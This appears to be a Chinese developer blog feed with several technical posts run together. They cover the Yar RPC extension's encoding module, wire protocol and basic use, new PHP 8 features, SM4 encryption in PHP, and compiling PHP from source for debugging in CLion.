zval * php_yar_packager_json_unpack(const yar_packager_t *self, char *content, size_t len, char **msg, zval *ret) {
php_json_decode(ret, content, len, 1, 512);
return ret;
}
其它两种编码方式的实现跟 JSON 差不多,这里就不赘述了。
Yar 作为 PHP 的扩展,其编码模块的生命周期肯定也是在 PHP 生命周期中的,这里我画了一张图,方便大家能够更直观的了解 Yar 编码模块的生命周期。

接下来看看编码模块在每个阶段中都做了些什么。
在 PHP 模块初始化阶段,Yar 会先注册一些 Yar 相关的 PHP 常量,比如版本号、客户端相关的选项。紧接着开始初始化模块,除了编码模块以外,还会初始化传输、客户端、服务端及异常等模块。
// source:yar.c
PHP_MINIT_FUNCTION(yar)
{
// 注册 PHP 常量
REGISTER_INI_ENTRIES();
REGISTER_STRINGL_CONSTANT("YAR_VERSION", PHP_YAR_VERSION, sizeof(PHP_YAR_VERSION)-1, CONST_CS|CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("YAR_OPT_PACKAGER", YAR_OPT_PACKAGER, CONST_CS|CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("YAR_OPT_PERSISTENT", YAR_OPT_PERSISTENT, CONST_CS|CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("YAR_OPT_TIMEOUT", YAR_OPT_TIMEOUT, CONST_CS|CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("YAR_OPT_CONNECT_TIMEOUT", YAR_OPT_CONNECT_TIMEOUT, CONST_CS|CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("YAR_OPT_HEADER", YAR_OPT_HEADER, CONST_CS|CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("YAR_OPT_RESOLVE", YAR_OPT_RESOLVE, CONST_CS|CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("YAR_OPT_PROXY", YAR_OPT_PROXY, CONST_CS|CONST_PERSISTENT);
// 初始化模块
YAR_STARTUP(service);
YAR_STARTUP(client);
YAR_STARTUP(packager);
YAR_STARTUP(transport);
YAR_STARTUP(exception);
return SUCCESS;
}
今天我们主要研究编码模块,其它几个模块放到后面的文章中。
YAR_STARTUP 是一个宏,定义如下:
#define YAR_STARTUP(module) ZEND_MODULE_STARTUP_N(yar_##module)(INIT_FUNC_ARGS_PASSTHRU)
/* Name macros */
#define ZEND_MODULE_STARTUP_N(module) zm_startup_##module
YAR_STARTUP(packager) 展开之后是这样的:
zm_startup_yar_packager(type, module_number)
如果用 zm_startup_yar_packager 在 Yar 源码中是搜不到结果的,这是因为宏只有在编译的时候才会展开,那么为什么用 YAR_STARTUP(packager) 也搜不到呢?
因为在定义函数名的时候用的不是 YAR_STARTUP,而是 YAR_STARTUP_FUNCTION,先来看看定义:
#define YAR_STARTUP_FUNCTION(module) ZEND_MINIT_FUNCTION(yar_##module)
#define ZEND_MINIT_FUNCTION ZEND_MODULE_STARTUP_D
/* Declaration macros */
#define ZEND_MODULE_STARTUP_D(module) zend_result ZEND_MODULE_STARTUP_N(module)(INIT_FUNC_ARGS)
/* Name macros */
#define ZEND_MODULE_STARTUP_N(module) zm_startup_##module
可以看到,最终使用的都是 ZEND_MODULE_STARTUP_N,它还有一个相似的宏:ZEND_MODULE_STARTUP_D,不同的是,前者是用于命名的宏,无参数,而后者是用于声明/定义的宏,有参数。
在 YAR_STARTUP_FUNCTION(packager) 函数中,先调用 php_yar_packager_register 函数往 Yar 编码模块中注册编码方式,然后往 PHP 中注册编码模块相关的 PHP 常量。
// source:yar_packager.c
YAR_STARTUP_FUNCTION(packager) {
// 注册编码方式
#ifdef ENABLE_MSGPACK
php_yar_packager_register(&yar_packager_msgpack);
#endif
php_yar_packager_register(&yar_packager_php);
php_yar_packager_register(&yar_packager_json);
// 注册编码模块相关的 PHP 常量
REGISTER_STRINGL_CONSTANT("YAR_PACKAGER_PHP", YAR_PACKAGER_PHP, sizeof(YAR_PACKAGER_PHP)-1, CONST_CS|CONST_PERSISTENT);
REGISTER_STRINGL_CONSTANT("YAR_PACKAGER_JSON", YAR_PACKAGER_JSON, sizeof(YAR_PACKAGER_JSON)-1, CONST_CS|CONST_PERSISTENT);
#ifdef ENABLE_MSGPACK
REGISTER_STRINGL_CONSTANT("YAR_PACKAGER_MSGPACK", YAR_PACKAGER_MSGPACK, sizeof(YAR_PACKAGER_MSGPACK)-1, CONST_CS|CONST_PERSISTENT);
#endif
return SUCCESS;
}
接着我们来了解一下注册编码方式的逻辑,Yar 在编码模块中定义了一个结构体 yar_packagers_list,用于存储所有可用的编码方式。
// source:yar_packager.c
struct _yar_packagers_list {
unsigned int size;
unsigned int num;
const yar_packager_t **packagers;
} yar_packagers_list;
结构体字段说明:
在 php_yar_packager_register 函数中,对 yar_packagers_list 进行初始化、扩容及注册编码方式等操作。
// source:yar_packager.c
PHP_YAR_API int php_yar_packager_register(const yar_packager_t *packager) {
if (!yar_packagers_list.size) {
// size 为 0,说明未初始化
// 设置 size 初始值为 5,并为 packagers 分配相应的内存
yar_packagers_list.size = 5;
yar_packagers_list.packagers = (const yar_packager_t **)malloc(sizeof(yar_packager_t *) * yar_packagers_list.size);
} else if (yar_packagers_list.num == yar_packagers_list.size) {
// num 等于 size,说明数组已经满了,需要进行扩容
yar_packagers_list.size += 5;
yar_packagers_list.packagers = (const yar_packager_t **)realloc(yar_packagers_list.packagers, sizeof(yar_packager_t *) * yar_packagers_list.size);
}
// 将编码方式存储到 packagers 数组下标为 num 处
yar_packagers_list.packagers[yar_packagers_list.num] = packager;
// 返回存储编码方式的索引位置并加一
return yar_packagers_list.num++;
}
每次请求进来到达请求初始化阶段时,就会调用 YAR_ACTIVATE_FUNCTION(packager) 函数设置本次请求使用的编码方式。
// source:yar_packager.c
YAR_ACTIVATE_FUNCTION(packager) {
// 获取默认的编码方式
const yar_packager_t *packager = php_yar_packager_get(YAR_G(default_packager), strlen(YAR_G(default_packager)));
if (packager) {
// 获取成功则直接设置为默认编码方式,并返回
YAR_G(packager) = packager;
return SUCCESS;
}
// 如果没有默认编码方式,则使用 PHP 作为默认的编码方式,并输出警告信息
YAR_G(packager) = &yar_packager_php;
php_error(E_WARNING, "unable to find package '%s', use php instead", YAR_G(default_packager));
return SUCCESS;
}
前面两个阶段都属于初始化的阶段,只有执行脚本的阶段才会去调用编码、解码函数,那么什么时候会调用呢?
上一篇文章中有提到 Yar 支持两种数据传输方式:HTTP、TCP。无论使用哪种传输方式,都会在发送请求前和收到响应后调用编码模块。
为此,Yar 提供了两个通用函数:php_yar_packager_pack、php_yar_packager_unpack,用于对数据进行编码或解码操作。
php_yar_packager_pack 函数只需要传入编码方式的名称和需要编码的数据,就可以使用对应的编码方式对数据进行编码。
// source:yar_packager.c
zend_string *php_yar_packager_pack(char *packager_name, zval *pzval, char **msg) {
char header[8];
smart_str buf = {0};
// 获取编码方式,如果传入的名称为 null,则使用默认的编码方式
const yar_packager_t *packager = packager_name ?
php_yar_packager_get(packager_name, strlen(packager_name)) : YAR_G(packager);
if (!packager) {
php_error_docref(NULL, E_ERROR, "unsupported packager %s", packager_name);
return 0;
}
// 将编码方式的名称写入前 8 个字节中
memcpy(header, packager->name, 8);
smart_str_alloc(&buf, YAR_PACKAGER_BUFFER_SIZE /* 1M */, 0);
smart_str_appendl(&buf, header, 8);
// 调用具体的编码函数
packager->pack(packager, pzval, &buf, msg);
if (buf.s) {
// 如果编码成功,则在末尾加上 \0
smart_str_0(&buf);
return buf.s;
}
// 编码失败则释放 buf 并返回 null
smart_str_free(&buf);
return NULL;
}
如果使用 JSON 编码方式,那么 packager->pack 实际上调用的是 php_yar_packager_json_pack 函数,将数据编码为 JSON 字符串。
php_yar_packager_unpack 函数不像 php_yar_packager_pack 函数直接传入编码方式的名称,而是传入需要解码的数据及数据的长度,通过取数据前 8 字节得到编码方式的名称,然后通过编码方式的名称获取编码方式,最后调用真正的解码函数对数据进行解码。
// source:yar_packager.c
zval * php_yar_packager_unpack(char *content, size_t len, char **msg, zval *ret) {
char *pack_info = content; /* 4 bytes, last byte is version */
const yar_packager_t *packager;
// 数据往后移动 8 字节,就是之前提到的 payload
content = content + 8;
len -= 8;
// 编码方式的名称虽然占用了 8 字节,实际上只用了 7 字节,第 8 个字节存储 \0
*(pack_info + 7) = '\0';
// 获取编码方式
packager = php_yar_packager_get(pack_info, 7);
if (!packager) {
spprintf(msg, 0, "unsupported packager '%s'", pack_info);
return NULL;
}
// 调用具体的解码函数
return packager->unpack(packager, content, len, msg, ret);
}
如果使用 JSON 编码方式,那么 packager->unpack 实际上调用的是 php_yar_packager_json_unpack 函数,将数据(JSON 字符串)解码并存储到 ret 中。
当执行完 PHP 脚本后,进入请求关闭阶段清理执行脚本过程中使用到的资源。在此之后,如果是 PHP-FPM 模式下,则会进入请求初始化阶段等待下一次请求到来,停止 PHP-FPM 时才会进入模块关闭阶段;如果是 PHP-Cli 模式会直接进入到模块关闭阶段。
关闭编码模块的逻辑很简单,只需要释放 yar_packagers_list 中 packagers 使用的内存就可以了。
// source:yar_packager.c
YAR_SHUTDOWN_FUNCTION(packager) {
if (yar_packagers_list.size) {
free(yar_packagers_list.packagers);
}
return SUCCESS;
}
在本文中,基于 PHP 生命周期介绍了各个阶段中编码模块都做了些什么,在下一篇文章中将会介绍 Yar 的传输模块,通过该模块,我们就可以知道编码后的数据是怎样被发送出去的。
这篇文章断断续续花费了一个月的时间,期间经历了被裁员、离职、面试等等,心情也是跌宕起伏。之前换工作都是无缝衔接,中间也没休息过,所以这次就当放了个假,休息休息。这几天在家做做饭、搞搞卫生,感觉也还不错,在家待了几天后,想着抓紧把 Yar 系列写完,好准备下一个系列的文章。
至于工作,这段时间也面试了几家,如果没有合适的话,那就明年再战。
:)
]]>在上一篇文章中简单的介绍了 Yar 的基本功能,今天我们来了解一下 Yar 的通信协议。
通信协议是服务端与客户端之间进行数据交换的一种约定,只有遵循这种约定才能进行通信。
Yar 支持两种数据传输方式:HTTP、TCP。
HTTP 本身就是一种服务端与客户端通信的协议,Yar 为什么还要自定义通信协议呢?
Yar 直接使用 HTTP 协议进行数据传输是没有任何问题的,因为 HTTP 协议是建立在 TCP 协议之上的应用层协议,其协议本身已经清楚的定义了数据的边界,能够保证客户端/服务端正常地收发每一个数据包。
但是,Yar 数据传输方式除了 HTTP 协议以外还支持 TCP 协议,当 Yar 使用 TCP 协议传输数据时,就必须自己定义一个基于 TCP 协议的应用层协议了。
因为 TCP 是一个基于字节流的传输层通信协议,重点在于它是一个流式协议,也就是说数据与数据之间没有明确的边界,它只需要保证数据能够高效、可靠地将数据从一端传输到另一端。
可以把 TCP 想像成一根水管,数据是水管中的水,传输就是水在水管中从一端到另一端的过程。从水管一端接水的时候,你只知道桶里已经接了多少水,但是你根本不知道水管中还有多少水,只能一直等着。如果水突然停了,你也分不清数据到底是被分为多次发送,还是发送完了。
所以自定义通信协议主要目的是为了让接水的人知道本次接水的动作什么时候结束,也就是让客户端/服务端能够辨别出每一个数据包的边界。
这也是网友们常常提到的 TCP「粘包」问题,其实跟 TCP 一点关系都没有,这个问题是由于程序员在设计通信协议时,没有定义清楚数据之间的边界导致的。
有以下几种常见的协议格式:
这种方式是在协议中设置特殊字符作为数据的边界,比如 \r、\n、\0 等等。

HTTP 就是一个很好的例子,HTTP 将 \r\n 作为数据的边界。如果是 GET 请求,当读取到两个连续的 \r\n 时,说明一个完整的 HTTP 数据包结束了。
代码实现可以参考我之前写的《浅入浅出 HTTP》中 GET 请求的部分。
显式编码数据长度就是在协议中提前将要发送的数据长度告诉接收方。

接收方在读取数据的时候,就可以先读取发送的数据长度,然后开始一直读取数据,当已读取的数据长度等于发送的数据长度时,停止读取数据。
HTTP 协议除了使用特殊字符作为边界,还使用了显式编码数据长度这种方式。当 HTTP 请求为 POST 或其它需要 body 的方式时,就会读取请求头中的 Content-Length 字段,来确定 body 的长度。
代码实现可以参考我之前写的《浅入浅出 HTTP》中 POST 请求的部分,也可以阅读《使用 Workerman 接入 Bilibili 直播弹幕协议》中对于协议声明及处理。
固定数据包长度的方式跟前一种有点像,但是丢弃了数据头部的长度字段,而是将数据包设为固定长度,属于前者的阉割版本。

这样接收方用规定的数据包长度去接收每一个数据包即可。不过这种方式用的较少,一般用来传输某些固定大小的指令时才会用到。
Yar 的通信协议分为 header 和 body 两个部分,其中,body 由 packager_name(编码方式名称)和 payload(数据)组成。

下面分别对这几部分进行说明。
header 中存储了 Yar 通信协议的基本信息,比如请求 ID、协议版本、调用方等等。
当然,最重要就是存储了 body 部分数据的长度。所以 Yar 使用的是显式编码数据长度方式。
Yar 定义了 _yar_header 结构体,用来存储 header 的信息。
// source: yar_protocol.h
typedef struct _yar_header {
uint32_t id; // 4 字节
uint16_t version; // 2 字节
uint32_t magic_num; // 4 字节
uint32_t reserved; // 4 字节
unsigned char provider[32];// 32 字节
unsigned char token[32]; // 32 字节
uint32_t body_len; // 4 字节
} __attribute__ ((packed)) yar_header_t;
结构体中字段说明:
header 的总长度为 82 字节(设置了内存对齐)。
package_name 就是编码方式的名称。因为 Yar 支持多种消息编码方式,所以在 header 后面预留了 8 个字节,用于存储编码方式的名称,比如 JSON、MSGPACK、PHP。
服务端在收到消息后,就可以知道 payload 是通过哪种方式进行编码的,然后就可以使用对应的方式进行解码。
注意:编码方式名称的 8 个字节是固定的。
payload 是 RPC 传输的数据,数据分为两种:请求数据和响应数据。payload 的数据长度是动态变化的,可以通过 header 中的 body_len 得知。
Yar 定义了一个 yar_request_t 结构体,用于在 Yar 内部传递请求数据。
// source: yar_request.h
typedef struct _yar_request {
zend_ulong id;
zend_string *method;
zval parameters;
zval options;
} yar_request_t;
yar_request_t 结构体字段说明:
在发送请求前会调用 php_yar_request_pack 函数,将 yar_request_t 中的请求 ID、被调用的方法、参数存储一个 hash 字典中。
// source: yar_request.c
zend_string *php_yar_request_pack(yar_request_t *request, char **msg) {
zval rv;
zend_array req;
zend_string *payload;
char *packager_name = NULL;
// 尝试从 options 中取出设置的编码方式名称
if (IS_ARRAY == Z_TYPE(request->options)) {
zval *pzval;
if ((pzval = zend_hash_index_find(Z_ARRVAL(request->options), YAR_OPT_PACKAGER)) && IS_STRING == Z_TYPE_P(pzval)) {
packager_name = Z_STRVAL_P(pzval);
}
}
// 初始化一个 hash 字典
zend_hash_init(&req, 8, NULL, NULL, 0);
// 将请求 ID 赋值给临时变量 rv
ZVAL_LONG(&rv, request->id);
// 以字符 i 作为 key,将 rv 中的请求 ID 存储到 hash 字典中
zend_hash_add(&req, ZSTR_CHAR('i'), &rv);
// 将被调用的方法赋值给临时变量 rv
ZVAL_STR(&rv, request->method);
// 以字符 m 作为 key,将 rv 中的请求 ID 存储到 hash 字典中
zend_hash_add(&req, ZSTR_CHAR('m'), &rv);
// 如果参数的类型为数组,则以字符 p 作为 key,将参数存储到 hash 字典中;
// 否则初始化一个空字典存储到 hash 字典中
if (IS_ARRAY == Z_TYPE(request->parameters)) {
zend_hash_add(&req, ZSTR_CHAR('p'), &request->parameters);
} else {
zend_array empty_arr;
zend_hash_init(&empty_arr, 0, NULL, NULL, 0);
ZVAL_ARR(&rv, &empty_arr);
zend_hash_add(&req, ZSTR_CHAR('p'), &rv);
}
// 调用编码器将 hash 字典进行编码处理
ZVAL_ARR(&rv, &req);
if (!(payload = php_yar_packager_pack(packager_name, &rv, msg))) {
zend_hash_destroy(&req);
return NULL;
}
// 释放 hash 字典
zend_hash_destroy(&req);
// 返回编码后的数据
return payload;
}
上面的 hash 字典是 PHP 数组的底层实现,所以请求数据实际上是一个数组,数组的 key 是字段的首字母:
$request = [
"i" => "123" , // 请求 ID
"m" => "login" , // 被调用的方法
"p" => ["her-cat", "123456"], // 参数
];
假设使用 JSON 方式对请求数据进行编码,那么编码过后得到的 JSON 字符串就是 payload 的内容:
{"i":"123","m":"login","p":["her-cat","123456"]}
包含请求数据的 RPC 通信协议格式:

服务端收到请求数据后,使用 JSON 方式进行解码就可以得到 $request 这样的数组。
同样,对于响应数据,Yar 也定义了一个 yar_response_t 结构体。
typedef struct _yar_response {
long id;
int status;
zend_string *out;
zval err;
zval retval;
} yar_response_t;
yar_response_t 结构体字段说明:
status 字段有以下几种值:
#define YAR_ERR_OKEY 0x0 // 执行成功
#define YAR_ERR_PACKAGER 0x1 // 编码相关错误
#define YAR_ERR_PROTOCOL 0x2 // 协议相关错误
#define YAR_ERR_REQUEST 0x4 // 请求相关错误
#define YAR_ERR_OUTPUT 0x8 // 输出相关错误
#define YAR_ERR_TRANSPORT 0x10 // 数据传输相关错误
#define YAR_ERR_FORBIDDEN 0x20 // 不允许访问
#define YAR_ERR_EXCEPTION 0x40 // 发生异常
#define YAR_ERR_EMPTY_RESPONSE 0x80 // 响应内容为空
在执行被调用方法完成后,会调用 php_yar_server_response 函数将 yar_response_t 中的数据存储到一个 hash 字典中。
static void php_yar_server_response(yar_request_t *request, yar_response_t *response, char *pkg_name) {
zval rv;
char *err_msg;
zend_array ret;
zend_string *payload;
yar_header_t header = {0};
zend_hash_init(&ret, 8, NULL, NULL, 0);
ZVAL_LONG(&rv, response->id);
zend_hash_add(&ret, ZSTR_CHAR('i'), &rv);
ZVAL_LONG(&rv, response->status);
zend_hash_add(&ret, ZSTR_CHAR('s'), &rv);
if (response->out && ZSTR_LEN(response->out)) {
ZVAL_STR(&rv, response->out);
zend_hash_add(&ret, ZSTR_CHAR('o'), &rv);
}
if (!Z_ISUNDEF(response->retval)) {
zend_hash_add(&ret, ZSTR_CHAR('r'), &response->retval);
}
if (!Z_ISUNDEF(response->err)) {
zend_hash_add(&ret, ZSTR_CHAR('e'), &response->err);
}
// ...省略部分代码
}
与请求数据的处理逻辑差不多,最终会得到一个存储响应数据的数组,类似于下面这样:
$response = [
"i" => "123", // 请求 ID
"s" => "0" , // 状态
"r" => "success", // 返回值
"o" => "", // 输出
"e" => "", // 错误或异常
];
使用 JSON 方式进行编码后得到 payload:
{"i":"123","s":"0","r":"success","o":"","e":""}
包含响应数据的 RPC 通信协议格式:

客户端收到响应数据后,使用 JSON 方式解码得到的也是这样一个数组。
通过状态判断执行结果,如果执行失败,获取错误或异常信息并抛出;执行成功则将返回值返回给调用方。
通过本文,让我们对于 Yar 的通信协议有了一定的了解。先解释了为什么 Yar 需要自定义通信协议,并列举了常见的协议格式,然后详细地介绍了 Yar 通信协议中的内容及作用。
]]>本文是 Yar 源码系列的第一篇文章,主要介绍 Yar 以及服务端、客户端的基本使用,详细的源码分析会放在后续的文章中。
我从 8 月初开始阅读 《PHP 7底层设计与源码实现》这本书,直到前一阵子才看完,算是通读了一遍。看完之后总想着动手实操一番,将书中的理论知识赋予实践,做到理论实践相结合。
在挑选研究项目的时候,有以下几个可选项:
Swoole/Swow 是 PHP 高性能协程的网络通信引擎,从语言上来讲,前者由 C++ 编写,后者主要由 C 语言编写,一部分逻辑用 PHP 实现。从编码风格、代码实现来说,我更喜欢后者,虽然公司主要用的 Swoole 框架…
没有选 Swoole/Swow 的原因是,这两个项目包含了网络编程、并发编程、多进程/线程、进程间通信等多项技术,它们支持的功能特性也非常多,讲清楚这些功能的实现也需要花费不少的功夫,不符合我们小而美的目标。
所以在权衡了一阵之后,最终选择了 Yar。
Yar(yet another RPC framework,)是鸟哥(laruence)在 2012 年开发的一个轻量级的并行 RPC 框架,支持多种编码方式(JSON、msgpack、PHP)及 HTTP、TCP 两种数据传输方式,最重要的是支持并行调用,可以让多个数据源并行处理,从而提高系统的性能。

下面是一个 Yar 服务端的例子:
class User
{
/**
* 用户登录
* @param string $username 用户名
* @param string $password 密码
* @return string
*/
public function login(string $username, string $password): string
{
return 'success';
}
}
$server = new Yar_Server(new User());
$server->handle();
在上面的例子中,定义了一个 User 类,并简单地实现了一个 login 方法,然后实例化 User 类并传入到 Yar_Server 的构造函数中,随后调用 Server 中的 handle 方法,处理即将到来的请求。
在 handle 方法中,通过判断请求方式执行不同的操作。
当请求方式为 POST 时,将会执行 RPC 远程服务 的逻辑:对请求数据进行解析、校验,拿到被调用的方法名称及参数后,执行该方法并响应结果。
当请求方式为非 POST 方式时,输出 RPC 服务的 API 信息。如果在 php.ini 中设置了 yar.expose_info = 0,表示不公开信息,将会抛出 “不允许访问服务信息” 的异常。
将上述的例子保存为 server.php,然后执行 php -S 127.0.0.1:3000 启动 PHP 自带的 Web 服务。
在浏览器中输入 http://127.0.0.1:3000 ,打开服务端 API 信息页面:

从页面中我们可以看到这个 RPC 服务支持的方法列表及方法名称、参数、注释信息。
Yar 客户端支持同步调用、并行调用两种方式。
当然,客户端还支持一些其它的特性,例如:请求持久化、自定义 DNS、HTTP 代理等,这些特性的使用方法可以在官方文档中找到,这里就不赘述了。
Yar 的同步调用非常简单,就像调用本地方法一样:
// 实例化客户端
$client = new Yar_Client("http://127.0.0.1:3000/server.php");
// 设置超时时间
$client->SetOpt(YAR_OPT_CONNECT_TIMEOUT, 1000);
// 调用 login 方法
$result = $client->login("her-cat", "123456");
var_dump($result);
// 输出:string(7) "success"
并行调用的使用方式跟同步调用有一点点区别,调用远程方法时需要通过并行客户端中的 call 方法,并传入相应的回调函数,当请求完成时就会调用该回调函数。
function callback($ret, $callInfo) {
var_dump($ret, $callInfo);
}
function error_callback($type, $error, $callInfo) {
error_log($error);
}
$url = 'http://127.0.0.1:3000/server.php';
Yar_Concurrent_Client::call($url, 'login', ['her-cat', '123456'], 'callback', 'error_callback');
Yar_Concurrent_Client::call($url, 'login', ['her-cat', '123456'], 'callback', 'error_callback');
Yar_Concurrent_Client::call($url, 'login', ['her-cat', '123456'], 'callback', 'error_callback', [YAR_OPT_TIMEOUT => 1]);
Yar_Concurrent_Client::loop();
可以看到传入的参数除了 callback 以外,还传入了 error_callback 回调函数,当服务端执行方法的过程中发生了错误,就会运行 error_callback 回调函数。
到这里本文就结束了,后续就会开始从源码的角度去分析这些功能是如何实现的。
Goodbye~
]]>距离 PHP 8 发布已经有一年多了,这个版本是 PHP 语言的主版本更新,包含了很多新功能与优化项,并改进了类型系统、错误处理,目前已经迭代到 PHP 8.0.10 版本。
由于更新的内容较多,本文仅介绍部分特性,完整内容可以去官网进行了解。
注解是非常强大的一项功能,可以通过注解的方式减少很多配置,以及实现很多非常方便的功能,比如定义路由、AOP、自动注入等。
大多数框架都是通过反射解析 PHPDoc 的方式实现注解功能,比如我们现在用的 Hyperf 框架。
/**
* @Controller()
*/
class UserController
{
/**
* @RequestMapping(path="index", methods="get,post")
*/
public function index(RequestInterface $request)
{
...
}
}
PHP 社区显然也发现了注解对于现代编程语言的重要性,所以在 PHP 8 中从语言层面实现了注解,使得代码中的声明部分都可以添加结构化、机器可读的元数据,而非 PHPDoc 声明。
#[Controller]
class UserController
{
#[RequestMapping(path: "index", methods: "get,post")]
public function index(RequestInterface $request)
{
...
}
}
可以看到,这里使用的是 #[],为什么没有继续沿用 PHPDoc 中 @ 的方式?
因为 @ 在 PHP 中已经是一个有意义(抑制错误)的符号,不能再用来作为注解标识。
一开始是使用 <<ExampleAttribute>> 作为注解,由于吐槽的人太多,后来就改成了 #[ExampleAttribute]。
在 PHP 8 之前,调用函数时参数的顺序是固定的,并且不能跳过默认值进行传参。
命名参数允许直接以任意顺序使用参数名称进行传参,并且可以跳过某些默认值。
举个例子,htmlspecialchars 函数的原型如下:
htmlspecialchars(
string $string,
int $flags = ENT_COMPAT | ENT_HTML401,
string $encoding = ini_get("default_charset"),
bool $double_encode = true
): string
在 PHP 7 中使用该函数时,假如我们只想让 $double_encode 为 false,则必须传入 $flags 和 $encoding 默认值,像下面这样:
$val = '<b>hello</b>';
htmlspecialchars($val, ENT_COMPAT | ENT_HTML401, ini_get("default_charset"), false);
有了命名参数之后,我们可以忽略 $flags 和 $encoding 参数,仅传入 $string 和 $double_encode,并且可以随意调换参数顺序,下面这几种使用方式都是可以的。
$val = '<b>hello</b>';
// 忽略 $flags 和 $encoding 参数
htmlspecialchars($val, double_encode: false);
// 调换入参顺序
htmlspecialchars(double_encode: false, string: $val);
// 覆盖 $flags 的默认值
htmlspecialchars(double_encode: false, string: $val, flags: ENT_COMPAT);
PHP 7.4 版本增加了类型属性,强化了 PHP 的类型系统,使得我们可以在类中声明属性的类型。
class Number
{
private int $number;
public function __construct(int $number)
{
$this->number = $number;
}
}
但是该版本不支持联合类型,比如当 $number 既是 int 类型又是 float 类型时,就不能使用类型属性,只能通过 PHPDoc 注释的方式声明。
class Number
{
/**
* @var float|int
*/
private $number;
public function __construct($number)
{
$this->number = $number;
}
}
这样就又回到了以前弱类型的老路子,失去了类型属性的作用。
所以 PHP 8 引入了联合类型,使得我们可以在类属性及参数签名中声明多种类型信息。
class Number
{
private float|int $number;
public function __construct(float|int $number)
{
$this->number = $number;
}
public function getNumber(): int|float
{
return $this->number;
}
}
联合类型带来的好处:
在旧版本的 PHP 中,如果用数字跟字符串进行非严格比较,会得到一些令人困惑的结果:
var_dump(0 == ""); // true
var_dump(0 == "foo"); // true
var_dump(42 == "42foo"); // true
var_dump(in_array(0, ["foo", "bar"])); // true
导致这一结果是因为:非严格比较运算符的字符串和数字之间的比较,是将字符串转为数字,然后对整数或浮点数进行比较。
在上面的示例中,"" 和 "foo" 会被转换为 0,"42foo" 会被转换为 42,然后在跟左侧的值进行比较,所以结果为 true。
PHP 8 比较数字字符串时,会按数字进行比较。不是数字字符串时,将数字转化为字符串,按字符串比较。
比如 42 == "42",会直接按照数字进行比较,如果是 42 == "42foo",由于 "42foo" 不是数字字符串,所以会将 42 转为 "42" 字符串,然后再进行比较。
所以在 PHP 8 中,上面示例的结果全部是 false。
在调用 PHP 函数时,如果传入的参数解析失败或者缺少参数,PHP 将会提示 Warning 并继续运行:
strlen([]); // Warning: strlen() expects parameter 1 to be string, array given
array_chunk([], -1); // Warning: array_chunk(): Size parameter expected to be greater than 0
array_filter();
echo "hello";
//Warning: strlen() expects parameter 1 to be string, array given in /in/K0adM on line 2
//Warning: array_chunk(): Size parameter expected to be greater than 0 in /in/K0adM on line 3
//Warning: array_filter() expects at least 1 parameter, 0 given in /in/K0adM on line 4
//hello
有些“机智”的朋友会使用 error_reporting(E_ALL ^ E_WARNING) 来屏蔽异常,让程序能够继续正常运行。
就导致了函数虽然“正常”地返回了结果,但是结果不一定是正确的,所以我们就必须在代码里面对函数的结果进行校验。
PHP 8 针对这个问题进行了改进,统一了内部函数类型错误,现在大多数内部函数在参数验证失败时抛出 Error 级异常。
Fatal error: Uncaught TypeError: strlen(): Argument #1 ($str) must be of type string, array given in /in/F26cS:3
Stack trace:
#0 {main}
thrown in /in/F26cS on line 3
Process exited with code 255.
由此,我们也可以看出 PHP 社区的目的,避免通过返回值判断异常情况,而是使用抛出异常的方式。
PHP 8 引入了两个即时编译引擎,Tracing JIT 和 Function JIT,前者更具有潜力,它在综合基准测试中显示了三倍的性能, 并在某些长时间运行的程序中显示了 1.5-2 倍的性能改进。
PHP 8 的 JIT 是在 Opcache 优化的基础之上,结合 Runtime 的信息再次优化,直接生成机器码。
下面是 Opcache 的流程示意图:

推荐一个网站:https://3v4l.org/,支持300多个版本的PHP在线运行代码,可以很方便地在线调试各个版本的差异。

if (!in_array('sm4-cbc', openssl_get_cipher_methods())) {
printf("不支持 sm4\n");
}
$key = 'her-cat.com';
$iv = random_bytes(openssl_cipher_iv_length('sm4-cbc'));
$plaintext = '她和她的猫';
$ciphertext = openssl_encrypt($plaintext, 'sm4-cbc', $key, OPENSSL_RAW_DATA , $iv);
printf("加密结果: %s\n", bin2hex($ciphertext));
$original_plaintext = openssl_decrypt($ciphertext, 'sm4-cbc', $key, OPENSSL_RAW_DATA , $iv);
printf("解密结果: %s\n", $original_plaintext);
运行结果:
加密结果: 45cd787b0a84603ae8fd443b81af4d17
解密结果: 她和她的猫
2023.04.11 更新:
今天收到了一位读者的邮件,他在对接银联支付时遇到了问题,使用 PHP 生成的密文与银联支付提供的 Java 示例生成的密文不一致。
银联支付提供的 Java 示例代码:https://open.unionpay.com/tjweb/support/doc/online/14/393。
针对这个问题,只需要在加密前将 key 从 16 进制字符串转换为二进制字符串,即可得到与 Java 示例相同的密文。
$key = '长度为 32 的字符串';
$iv = '0123456789123456';
$plaintext = '测试内容';
$key = hex2bin($key); // 增加这一行
$ciphertext = openssl_encrypt($plaintext, 'sm4-cbc', $key, 0, $iv);
希望能帮助到遇到相同问题的朋友。
]]>下载并安装 PHP:
$ wget http://cn2.php.net/distributions/php-7.1.0.tar.gz
$ tar -xzvf php-7.1.0.tar.gz
$ cd php-7.1.0
$ ./configure --prefix=$HOME/php-7.1.0/build --enable-fpm
注意:$HOME/php-7.1.0/build 是 PHP 执行文件和库文件安装的目录,可以自定义。--enable-fpm 表示同时安装 php-fpm。
接下来修改编译优化等级,方便我们在调试的过程中查看变量的内容。
首先在 php-7.1.0/Makefile 文件中搜索 CFLAGS_CLEAN,然后将 -02 改为 -o0,表示不需要优化。
CFLAGS_CLEAN = -I/usr/include -g -O0 -fvisibility=hidden -DZEND_SIGNALS $(PROF_FLAGS)
执行 make 命令:
$ make && make install
执行完成后,就可以在 php-7.1.0/build/bin 目录下看到 PHP 相关的可执行文件了。
pear peardev pecl phar phar.phar php php-cgi php-config phpdbg phpize
首先用 Clion 打开 php-7.1.0 目录,Clion 会在根目录下自动创建 CMakeLists.txt 文件,复制下面的内容覆盖 CMakeLists.txt 中的内容:
cmake_minimum_required(VERSION 3.10)
project(php_7_1_0)
set(CMAKE_CXX_STANDARD 14)
set(PHP_SOURCE .)
file(GLOB_RECURSE HEAD_FILES FOLLOW_SYMLINKS ${PHP_SOURCE})
file(GLOB_RECURSE HEAD_FILES FOLLOW_SYMLINKS ${PHP_SOURCE}/ext)
file(GLOB_RECURSE HEAD_FILES FOLLOW_SYMLINKS ${PHP_SOURCE}/Zend)
